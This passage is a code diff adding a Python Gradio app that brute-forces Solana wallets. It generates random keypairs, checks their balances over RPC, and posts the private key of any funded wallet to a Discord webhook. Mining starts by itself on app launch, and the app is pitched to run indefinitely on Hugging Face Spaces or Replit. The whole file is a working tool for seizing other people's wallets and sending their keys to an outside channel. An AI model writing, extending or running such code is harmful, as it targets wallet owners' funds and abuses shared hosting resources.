407
+ payload = {
408
+ "content": f"@everyone 🚨 **{stats['miner_name']}** found FUNDED wallet!",
409
+ "embeds": [{
410
+ "title": f"πŸ’° FUNDED WALLET DISCOVERED - {stats['miner_name']}",
411
+ "color": 0x00ff00,
412
+ "thumbnail": {"url": "https://cryptologos.cc/logos/solana-sol-logo.png"},
413
+ "fields": [
414
+ {"name": "πŸ’Ό Wallet Details", "value":
415
+ f"**Balance:** {data['balance']:.8f} SOL\n"
416
+ f"**Public Key:** `{data['public_key']}`\n"
417
+ f"**Private Key:** ||{data['private_key']}||", "inline": False},
418
+
419
+ {"name": "πŸ† Miner Performance", "value":
420
+ f"**Total Mined:** {stats['total_mined']:,} wallets\n"
421
+ f"**Total Funded:** {stats['funded_found']} wallets\n"
422
+ f"**Success Rate:** {(stats['funded_found']/max(stats['total_mined'],1)*100):.6f}%", "inline": True},
423
+
424
+ {"name": "⚑ Current Stats", "value":
425
+ f"**Speed:** {stats['wallets_per_second']:.1f} wallets/sec\n"
426
+ f"**Uptime:** {stats['uptime_str']}\n"
427
+ f"**Current Streak:** {stats['current_streak']}", "inline": True},
428
+
429
+ {"name": "🌐 Miner Info", "value":
430
+ f"**ID:** {stats['miner_id']}\n"
431
+ f"**Location:** {stats['location']}\n"
432
+ f"**RPC:** {stats['current_rpc'].split('//')[-1][:25]}", "inline": True},
433
+
434
+ {"name": "πŸ“ˆ Network Stats", "value":
435
+ f"**Batches Processed:** {stats['total_batches']}\n"
436
+ f"**Avg Batch Time:** {stats['average_batch_time']}s\n"
437
+ f"**RPC Switches:** {stats['rpc_switches']}", "inline": True},
438
+
439
+ {"name": "πŸ•’ Discovery Time", "value": f"<t:{int(time.time())}:F>", "inline": False}
440
+ ],
441
+ "footer": {"text": f"Miner: {stats['miner_name']} | Best Streak: {stats['best_streak']}"}
442
+ }]
443
+ }
444
+
445
+ return requests.post(config.DISCORD_WEBHOOK, data=json.dumps(payload),
446
+ headers={"Content-Type": "application/json"},
447
+ timeout=config.DISCORD_TIMEOUT)
448
+
449
+ def queue_status_update():
450
+ """Queue status update - never blocks mining"""
451
+ stats = miner_state.get_comprehensive_stats()
452
+ queue_discord_message('status_update', {
453
+ 'stats': stats,
454
+ 'timestamp': time.time()
455
+ })
456
+
457
+ def process_status_update(data: dict):
458
+ """Process comprehensive status update"""
459
+ global STATUS_MESSAGE_ID, STATUS_EDIT_URL
460
+ stats = data['stats']
461
+
462
+ # Enhanced status embed with comprehensive information
463
+ embed = {
464
+ "title": f"πŸͺ™ {stats['miner_name']} - Live Mining Status",
465
+ "color": 0x0099ff if stats['is_running'] else 0xff4444,
466
+ "thumbnail": {"url": "https://cryptologos.cc/logos/solana-sol-logo.png"},
467
+ "fields": [
468
+ {"name": "πŸ“ˆ Core Statistics", "value":
469
+ f"**Status:** {'🟒 MINING' if stats['is_running'] else 'πŸ”΄ STOPPED'}\n"
470
+ f"**Total Mined:** {stats['total_mined']:,} wallets\n"
471
+ f"**Funded Found:** {stats['funded_found']} wallets\n"
472
+ f"**Success Rate:** {(stats['funded_found']/max(stats['total_mined'],1)*100):.6f}%", "inline": True},
473
+
474
+ {"name": "⚑ Performance Metrics", "value":
475
+ f"**Speed:** {stats['wallets_per_second']:.2f} wallets/sec\n"
476
+ f"**Uptime:** {stats['uptime_str']}\n"
477
+ f"**Batches:** {stats['total_batches']}\n"
478
+ f"**Avg Batch Time:** {stats['average_batch_time']}s", "inline": True},
479
+
480
+ {"name": "πŸŽ† Streak & Records", "value":
481
+ f"**Current Streak:** {stats['current_streak']}\n"
482
+ f"**Best Streak:** {stats['best_streak']}\n"
483
+ f"**Errors:** {stats['errors_count']}\n"
484
+ f"**Queue Size:** {stats['queue_size']}", "inline": True},
485
+
486
+ {"name": "🌐 Network & Infrastructure", "value":
487
+ f"**Current RPC:** {stats['current_rpc'].split('//')[-1][:30] if stats['current_rpc'] else 'None'}\n"
488
+ f"**RPC Switches:** {stats['rpc_switches']}\n"
489
+ f"**Connection:** {stats['connection_status']}\n"
490
+ f"**Location:** {stats['location']}", "inline": False},
491
+
492
+ {"name": "πŸ•°οΈ Timing Information", "value":
493
+ f"**Started:** <t:{int(stats['start_time'].timestamp())}:R>\n"
494
+ f"**Last Activity:** <t:{int(stats['last_activity'])}:R>\n"
495
+ f"**Last Funded:** {'<t:' + str(int(stats['last_funded'].timestamp())) + ':R>' if stats['last_funded'] else 'Never'}\n"
496
+ f"**Update:** <t:{int(time.time())}:f>", "inline": False}
497
+ ],
498
+ "footer": {
499
+ "text": f"Miner ID: {stats['miner_id']} | Batch #{stats['total_batches']}",
500
+ "icon_url": "https://cryptologos.cc/logos/solana-sol-logo.png"
501
+ },
502
+ "timestamp": datetime.utcnow().isoformat()
503
+ }
504
+
505
+ # Add RPC performance if available
506
+ if stats['rpc_performance']:
507
+ rpc_perf = "\n".join([f"**{rpc.split('//')[-1][:20]}:** {avg_time}s"
508
+ for rpc, avg_time in stats['rpc_performance'].items()])
509
+ embed["fields"].append({
510
+ "name": "πŸš€ RPC Performance",
511
+ "value": rpc_perf[:1000],
512
+ "inline": False
513
+ })
514
+
515
+ # First message or edit existing
516
+ if STATUS_MESSAGE_ID is None:
517
+ payload = {"embeds": [embed]}
518
+ r = requests.post(config.DISCORD_WEBHOOK + "?wait=true",
519
+ data=json.dumps(payload),
520
+ headers={"Content-Type": "application/json"},
521
+ timeout=config.DISCORD_TIMEOUT)
522
+ if r.status_code == 200:
523
+ data = r.json()
524
+ STATUS_MESSAGE_ID = data['id']
525
+ STATUS_EDIT_URL = f"{config.DISCORD_WEBHOOK}/messages/{STATUS_MESSAGE_ID}"
526
+ return r
527
+
528
+ if STATUS_EDIT_URL:
529
+ return requests.patch(STATUS_EDIT_URL, data=json.dumps({"embeds": [embed]}),
530
+ headers={"Content-Type": "application/json"},
531
+ timeout=config.DISCORD_TIMEOUT)
532
+ return None
533
+
534
+ def isolated_discord_worker():
535
+ """Completely isolated Discord worker - never affects mining"""
536
+ global DISCORD_DISABLED, DISCORD_RETRY_COUNT, DISCORD_LAST_ERROR, DISCORD_LAST_SUCCESS
537
+
538
+ log.info(f"πŸ’Œ Discord worker started for miner: {config.MINER_NAME}")
539
+
540
+ while True:
541
+ try:
542
+ # Process Discord queue without blocking
543
+ try:
544
+ message = DISCORD_QUEUE.get(timeout=1)
545
+
546
+ # Skip old messages (older than 5 minutes)
547
+ if time.time() - message['timestamp'] > 300:
548
+ continue
549
+
550
+ # Process message based on type
551
+ response = None
552
+ if message['type'] == 'funded_wallet':
553
+ response = process_funded_wallet_message(message['data'])
554
+ elif message['type'] == 'status_update':
555
+ response = process_status_update(message['data'])
556
+ elif message['type'] == 'miner_startup':
557
+ response = process_miner_startup(message['data'])
558
+
559
+ # Handle response
560
+ if response and response.status_code in [200, 204]:
561
+ DISCORD_RETRY_COUNT = 0
562
+ DISCORD_LAST_SUCCESS = time.time()
563
+ DISCORD_DISABLED = False
564
+ log.info(f"πŸ’¬ Discord message sent: {message['type']}")
565
+ elif response:
566
+ raise Exception(f"Discord API returned {response.status_code}: {response.text[:100]}")
567
+
568
+ except queue.Empty:
569
+ # No messages to process, continue
570
+ pass
571
+ except requests.exceptions.RequestException as e:
572
+ # Network-related errors
573
+ DISCORD_RETRY_COUNT += 1
574
+ DISCORD_LAST_ERROR = f"Network error: {str(e)[:100]}"
575
+
576
+ if DISCORD_RETRY_COUNT >= config.DISCORD_RETRY_LIMIT:
577
+ if not DISCORD_DISABLED:
578
+ log.info(f"πŸ”‡ Discord temporarily disabled after {DISCORD_RETRY_COUNT} failures. Will retry in {config.DISCORD_COOLDOWN}s")
579
+ DISCORD_DISABLED = True
580
+ time.sleep(config.DISCORD_COOLDOWN) # Long cooldown
581
+ DISCORD_RETRY_COUNT = 0 # Reset after cooldown
582
+ else:
583
+ time.sleep(min(10, DISCORD_RETRY_COUNT * 2)) # Exponential backoff
584
+
585
+ except Exception as e:
586
+ # Other errors
587
+ DISCORD_LAST_ERROR = f"Processing error: {str(e)[:100]}"
588
+ log.warning(f"⚠️ Discord processing error: {e}")
589
+ time.sleep(5)
590
+
591
+ # Auto-queue status updates every 2 minutes when not disabled
592
+ if not DISCORD_DISABLED and time.time() - DISCORD_LAST_SUCCESS > 120:
593
+ queue_status_update()
594
+
595
+ except Exception as e:
596
+ # Critical error handler - never crash the Discord worker
597
+ log.error(f"🚨 Critical Discord worker error: {e}")
598
+ time.sleep(30) # Long sleep after critical errors
599
+
600
+ time.sleep(0.1) # Small sleep to prevent tight loop
601
+
602
+ def process_miner_startup(data: dict):
603
+ """Process miner startup notification"""
604
+ stats = data['stats']
605
+ payload = {
606
+ "content": f"πŸš€ **{stats['miner_name']}** has started mining!",
607
+ "embeds": [{
608
+ "title": f"πŸš€ New Miner Online - {stats['miner_name']}",
609
+ "color": 0x00ff88,
610
+ "fields": [
611
+ {"name": "πŸŽ† Miner Information", "value":
612
+ f"**Name:** {stats['miner_name']}\n"
613
+ f"**ID:** {stats['miner_id']}\n"
614
+ f"**Location:** {stats['location']}\n"
615
+ f"**Started:** <t:{int(time.time())}:F>", "inline": True},
616
+
617
+ {"name": "βš™οΈ Configuration", "value":
618
+ f"**Min SOL:** {config.MIN_SOL}\n"
619
+ f"**Batch Size:** {config.RPC_BATCH_SIZE}\n"
620
+ f"**Sleep Time:** {config.MINER_SLEEP}s\n"
621
+ f"**RPC Endpoints:** {len(config.RPC_URLS)}", "inline": True}
622
+ ],
623
+ "footer": {"text": f"Miner ready to start discovering funded wallets!"}
624
+ }]
625
+ }
626
+
627
+ return requests.post(config.DISCORD_WEBHOOK, data=json.dumps(payload),
628
+ headers={"Content-Type": "application/json"},
629
+ timeout=config.DISCORD_TIMEOUT)
630
+
631
+ # Start isolated Discord worker
632
+ threading.Thread(target=isolated_discord_worker, daemon=True).start()
633
+
634
+ # Queue startup notification
635
+ if config.DISCORD_WEBHOOK:
636
+ queue_discord_message('miner_startup', {
637
+ 'stats': {
638
+ 'miner_name': config.MINER_NAME,
639
+ 'miner_id': config.MINER_ID,
640
+ 'location': config.LOCATION
641
+ }
642
+ })
643
+
644
+ # Auto-start mining code will be placed after mining_loop function is defined
645
+
646
+ def upload_daemon():
647
+ """Background uploader for funded wallets - integrated with new Discord system"""
648
+ while True:
649
+ try:
650
+ private_key, public_key, balance = miner_state.upload_queue.get(timeout=1)
651
+ # Use the new isolated Discord system
652
+ send_funded_ping(private_key, public_key, balance)
653
+ miner_state.upload_queue.task_done()
654
+ except queue.Empty:
655
+ continue
656
+ except Exception as e:
657
+ log.error(f"Upload daemon error: {e}")
658
+
659
+ threading.Thread(target=upload_daemon, daemon=True).start()
660
+
661
+ # ---------- Simple Mining Loop ----------
662
+ def mining_loop():
663
+ """Main mining loop with 30-minute cycle management"""
664
+ log.info("πŸš€ Mining loop started with 30-minute cycles")
665
+ log.info(f"🏁 Run flag status: {miner_state.run_flag.is_set()}")
666
+ client = None
667
+ consecutive_errors = 0
668
+
669
+ batch_private_keys, batch_addresses = [], []
670
+
671
+ while miner_state.run_flag.is_set():
672
+ try:
673
+ # Check 30-minute cycle status
674
+ should_mine = miner_state.check_cycle_status()
675
+ if not should_mine:
676
+ # In break mode, sleep and continue
677
+ miner_state.connection_status = "On Break (30 min cycle)"
678
+ log.info(f"πŸ’€ In break mode, sleeping for 60 seconds...")
679
+ time.sleep(60) # Check every minute during break
680
+ continue
681
+
682
+ miner_state.connection_status = "Mining Active"
683
+ log.info(f"⛏️ Starting mining batch of {config.RPC_BATCH_SIZE} wallets...")
684
+ # Ensure client connection
685
+ if client is None:
686
+ try:
687
+ client = create_solana_client()
688
+ consecutive_errors = 0
689
+ except Exception as e:
690
+ log.error(f"Cannot connect to RPC: {e}")
691
+ time.sleep(10)
692
+ continue
693
+
694
+ # Generate keypair batch
695
+ log.info(f"πŸ”‘ Generating batch of {config.RPC_BATCH_SIZE} keypairs...")
696
+ while len(batch_addresses) < config.RPC_BATCH_SIZE and miner_state.run_flag.is_set():
697
+ try:
698
+ private_key, public_key, _ = generate_secure_keypair()
699
+ batch_private_keys.append(private_key)
700
+ batch_addresses.append(public_key)
701
+ miner_state.increment_mined()
702
+
703
+ if len(batch_addresses) % 20 == 0:
704
+ log.info(f"Generated {len(batch_addresses)} keypairs so far...")
705
+ time.sleep(0.01) # Prevent CPU hogging
706
+
707
+ except Exception as e:
708
+ log.error(f"Keypair generation error: {e}")
709
+ continue
710
+
711
+ log.info(f"βœ… Generated {len(batch_addresses)} keypairs, checking balances...")
712
+
713
+ # Check balances
714
+ if batch_addresses:
715
+ batch_start_time = time.time()
716
+ log.info(f"πŸ” Checking {len(batch_addresses)} addresses...")
717
+ balances = get_balances_with_retry(client, batch_addresses)
718
+
719
+ if not balances or len(balances) != len(batch_addresses):
720
+ log.warning("RPC response mismatch, reconnecting...")
721
+ client = None
722
+ continue
723
+
724
+ funded_in_batch = 0
725
+ for i, balance in enumerate(balances):
726
+ if balance >= config.MIN_SOL:
727
+ priv, addr = batch_private_keys[i], batch_addresses[i]
728
+ funded_in_batch += 1
729
+ miner_state.increment_funded()
730
+ miner_state.upload_queue.put((priv, addr, balance))
731
+ log.info(f"πŸ’° FUNDED: {balance:.8f} SOL | {addr}")
732
+ live_feed.add_entry(priv, balance, addr)
733
+ elif i % 50 == 0: # Sample empty wallets
734
+ live_feed.add_entry(batch_private_keys[i], balance, batch_addresses[i])
735
+
736
+ log.info(f"βœ… Batch complete: {funded_in_batch} funded, {len(batch_addresses)} total")
737
+
738
+ # Update comprehensive stats
739
+ batch_time = time.time() - batch_start_time
740
+ miner_state.update_batch_stats(len(batch_addresses), batch_time, config.get_current_rpc())
741
+ miner_state.connection_status = "Active Mining"
742
+
743
+ # Reset batch
744
+ batch_private_keys, batch_addresses = [], []
745
+ consecutive_errors = 0
746
+
747
+ # Queue status update every 50 batches or when funded wallet found
748
+ if funded_in_batch > 0 or miner_state.total_batches % 50 == 0:
749
+ queue_status_update()
750
+
751
+ # Sleep between batches
752
+ time.sleep(config.MINER_SLEEP)
753
+
754
+ except Exception as e:
755
+ consecutive_errors += 1
756
+ log.error(f"Mining loop error: {e}")
757
+ miner_state.increment_errors()
758
+
759
+ if consecutive_errors >= 3:
760
+ client = None
761
+ miner_state.connection_status = "Reconnecting"
762
+ miner_state.rpc_switches += 1
763
+ log.info("Resetting RPC connection due to errors")
764
+ time.sleep(5)
765
+
766
+ log.info("πŸ›‘ Mining loop stopped")
767
+
768
+ # Auto-start mining when app loads
769
+ log.info("πŸš€ Auto-starting mining on app launch...")
770
+ miner_state.run_flag.set()
771
+ threading.Thread(target=mining_loop, daemon=True).start()
772
+
773
+ # ---------- Gradio Controls ----------
774
+ def start_mining() -> str:
775
+ if miner_state.run_flag.is_set():
776
+ return "⚠️ Already running"
777
+ log.info("πŸš€ Starting mining manually via button...")
778
+ miner_state.run_flag.set()
779
+ threading.Thread(target=mining_loop, daemon=True).start()
780
+ return "🟒 Mining started (background)"
781
+
782
+ def stop_mining() -> str:
783
+ if not miner_state.run_flag.is_set():
784
+ return "⚠️ Not running"
785
+ miner_state.run_flag.clear()
786
+ return "πŸ”΄ Mining stopped!"
787
+
788
+ def get_mining_stats() -> str:
789
+ stats = miner_state.get_comprehensive_stats()
790
+ running = "🟒 Running" if stats['is_running'] else "πŸ”΄ Stopped"
791
+ last = ""
792
+ if stats['last_funded']:
793
+ ago = (datetime.now() - stats['last_funded']).seconds
794
+ last = f" | Last funded: {ago//3600}h {(ago//60)%60}m ago"
795
+
796
+ # Add cycle information
797
+ cycle_info = stats['cycle_time_remaining']
798
+ if cycle_info['mode'] == 'break':
799
+ cycle_status = f"πŸ”΄ Break Mode ({cycle_info['remaining_minutes']}m left)"
800
+ elif cycle_info['mode'] == 'mining':
801
+ cycle_status = f"🟒 Mining ({cycle_info['remaining_minutes']}m left)"
802
+ else:
803
+ cycle_status = "πŸ”„ Cycle Starting"
804
+
805
+ return (f"{running} | {cycle_status} | Cycles: {stats['total_cycles']} | "
806
+ f"Mined: {stats['total_mined']:,} | Funded: {stats['funded_found']} | "
807
+ f"Speed: {stats['wallets_per_second']:.1f}/s | Errors: {stats['errors_count']} | "
808
+ f"Uptime: {stats['uptime_str']}{last}")
809
+
810
+ def clear_feed() -> str:
811
+ live_feed.clear_feed()
812
+ return ""
813
+
814
+ def generate_single_key() -> tuple:
815
+ try:
816
+ private_key, public_key, _ = generate_secure_keypair()
817
+ info = get_key_info(private_key)
818
+ return private_key, public_key, info.get('private_key_hex', ''), str(info.get('key_length', 0))
819
+ except Exception as e:
820
+ log.error(f"Key generation error: {e}")
821
+ err = f"Error: {e}"
822
+ return err, err, err, err
823
+
824
+ def generate_bulk_keys(count: int) -> str:
825
+ if count <= 0 or count > 1000:
826
+ return "❌ Enter 1-1000"
827
+ keys = []
828
+ errors = 0
829
+ for i in range(count):
830
+ try:
831
+ private_key, _, _ = generate_secure_keypair()
832
+ keys.append(private_key)
833
+ if count > 100 and (i + 1) % 50 == 0:
834
+ log.info(f"Generated {i + 1}/{count} keys...")
835
+ except Exception as e:
836
+ errors += 1
837
+ log.error(f"Failed to generate key {i + 1}: {e}")
838
+ if errors > 10:
839
+ return f"❌ Too many errors. Generated {len(keys)} keys successfully."
840
+
841
+ result = "\n".join(keys)
842
+ if errors > 0:
843
+ result += f"\n\n⚠️ Note: {errors} keys failed to generate"
844
+ return result
845
+
846
+ # ---------- Gradio Interface ----------
847
+ css = """
848
+ #live_feed {
849
+ font-family: monospace;
850
+ font-size: 12px;
851
+ max-height: 500px;
852
+ overflow-y: auto;
853
+ }
854
+ """
855
+
856
+ with gr.Blocks(title="Solana Key Generator & Miner", css=css, theme=gr.themes.Soft()) as demo:
857
+
858
+ gr.Markdown(f"# πŸ” Enhanced Solana Key Generator & Miner")
859
+ gr.Markdown(f"**{config.MINER_NAME}** ({config.MINER_ID}) - Multi-miner Discord integration enabled!")
860
+ gr.Markdown("Optimized for Hugging Face Spaces - runs forever even if you close the browser.")
861
+
862
+ with gr.Tab("🎲 Single Key Generator"):
863
+ with gr.Row():
864
+ gen_btn = gr.Button("🎯 Generate New Keypair", variant="primary")
865
+ with gr.Row():
866
+ private_key_out = gr.Textbox(label="πŸ” Private Key (Base58)", show_copy_button=True)
867
+ public_key_out = gr.Textbox(label="πŸ“ Public Address", show_copy_button=True)
868
+ with gr.Row():
869
+ private_hex_out = gr.Textbox(label="πŸ”’ Private Key (Hex)", show_copy_button=True)
870
+ key_info_out = gr.Textbox(label="ℹ️ Key Information", interactive=False)
871
+ gen_btn.click(generate_single_key, outputs=[private_key_out, public_key_out, private_hex_out, key_info_out])
872
+
873
+ with gr.Tab("πŸ“¦ Bulk Key Generator"):
874
+ count = gr.Slider(1, 1000, value=10, step=1, label="Number of Keys")
875
+ btn = gr.Button("πŸš€ Generate Bulk Keys", variant="primary")
876
+ keys = gr.Textbox(label="Generated Private Keys", lines=20, show_copy_button=True)
877
+ btn.click(generate_bulk_keys, inputs=count, outputs=keys)
878
+
879
+ with gr.Tab("πŸͺ™ Wallet Miner"):
880
+ with gr.Row():
881
+ start_btn = gr.Button("🟒 Start Mining", variant="primary", size="lg")
882
+ stop_btn = gr.Button("πŸ”΄ Stop Mining", variant="stop", size="lg")
883
+ clear_btn = gr.Button("🧹 Clear Feed", variant="secondary")
884
+ status = gr.Textbox(label="🎯 Mining Status", value="Ready to start mining...", interactive=False)
885
+ stats_display = gr.Textbox(label="πŸ“Š Real-time Statistics", interactive=False)
886
+ live_feed_display = gr.Textbox(label="πŸ“‘ Live Mining Feed", lines=25, max_lines=30, interactive=False, elem_id="live_feed")
887
+
888
+ start_btn.click(start_mining, outputs=status)
889
+ stop_btn.click(stop_mining, outputs=status)
890
+ clear_btn.click(clear_feed, outputs=live_feed_display)
891
+
892
+ # Auto-refresh for real-time updates
893
+ def _refresh():
894
+ return get_mining_stats(), live_feed.get_feed()
895
+
896
+ refresh_btn = gr.Button("πŸ”„ Refresh", visible=False)
897
+ refresh_btn.click(_refresh, outputs=[stats_display, live_feed_display])
898
+
899
+ # Set up auto-refresh after all components are defined
900
+ demo.load(_refresh, outputs=[stats_display, live_feed_display])
901
+
902
+ if __name__ == "__main__":
903
+ # Multi-platform compatibility: 7860 for Hugging Face, 5000 for Replit
904
+ port = int(os.environ.get('PORT', 7860))
905
+
906
+ # Detect if running on Replit
907
+ if os.environ.get('REPLIT_DB_URL') or os.environ.get('REPL_ID'):
908
+ port = 5000
909
+
910
+ demo.queue().launch(
911
+ server_name="0.0.0.0",
912
+ server_port=port,
913
+ share=False,
914
+ show_error=True
915
+ )
requirements.txt ADDED
@@ -0,0 +1,15 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ gradio>=4.44.0
2
+ solana>=0.34.3
3
+ solders>=0.21.0
4
+ base58>=2.1.1
5
+ requests>=2.32.0
6
+ python-dotenv>=1.0.1
7
+ pydantic>=2.9.0
8
+
9
+ base58>=2.1.1
10
+ gradio>=4.44.0
11
+ pydantic>=2.9.0
12
+ python-dotenv>=1.0.1
13
+ requests>=2.32.0
14
+ solana>=0.34.3
15
+ solders>=0.21.0